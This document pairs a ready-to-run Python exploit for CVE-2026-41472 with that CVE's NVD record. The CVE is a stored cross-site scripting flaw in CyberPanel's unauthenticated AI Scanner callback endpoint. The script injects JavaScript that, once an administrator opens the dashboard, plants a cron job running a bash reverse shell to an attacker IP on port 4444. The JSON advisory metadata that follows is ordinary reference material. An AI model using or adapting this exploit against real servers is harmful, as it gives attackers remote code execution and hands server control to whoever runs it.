CVE-2026-41472

import requests # Target configuration target_url = "http://target-host:8090" attacker_ip = "192.168.1.100" # Replace with attacker IP # Malicious JavaScript payload # This payload attempts to create a cron job via an authenticated admin request # The specific API endpoint for cron creation may vary based on CyberPanel version js_payload = f""" <script> // Function to create a reverse shell cron job function createCron() {{ fetch('/manageserver/submitCron', {{ method: 'POST', headers: {{ 'Content-Type': 'application/x-www-form-urlencoded', }}, body: 'command=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{attacker_ip}%2F4444%200%3E%261&status=disabled&minute=*&hour=*&month=*&weekday=*&day=*' }}).then(response => console.log('Cron job request sent')) .catch(error => console.error('Error:', error)); }} createCron(); </script> """ # Data to inject into the findings_json field # The endpoint expects scan_id and findings_json exploit_data = { "scan_id": "1", # May need to be a valid ID or arbitrary depending on implementation "findings_json": js_payload } # Send the malicious payload to the unauthenticated endpoint try: response = requests.post(f"{target_url}/api/ai-scanner/callback", data=exploit_data, timeout=10) if response.status_code == 200: print("[+] Payload successfully injected. Wait for an admin to view the AI Scanner dashboard.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-41472", "sourceIdentifier": "[email protected]", "published": "2026-04-24T21:16:18.967", "lastModified": "2026-04-28T15:45:19.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CyberPanel versions prior to 2.4.4 contain a stored cross-site scripting vulnerability in the AI Scanner dashboard where the POST /api/ai-scanner/callback endpoint lacks authentication and allows unauthenticated attackers to inject malicious JavaScript by overwriting the findings_json field of ScanHistory records. Attackers can inject JavaScript that executes in an administrator's authenticated session when they visit the AI Scanner dashboard, allowing them to issue same-origin requests to plant cron jobs and achieve remote code execution on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.4", "matchCriteriaId": "D7FB98A7-0882-4C43-9D46-B23C60D07630"}]}]}], "references": [{"url": "https://github.com/usmannasir/cyberpanel/commit/0a099b1b193946555fbdd387a28486b1521f9961", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://itsrez.re/post/cyberpanel-rce", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/cyberpanel-stored-xss-via-ai-scanner-dashboard", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}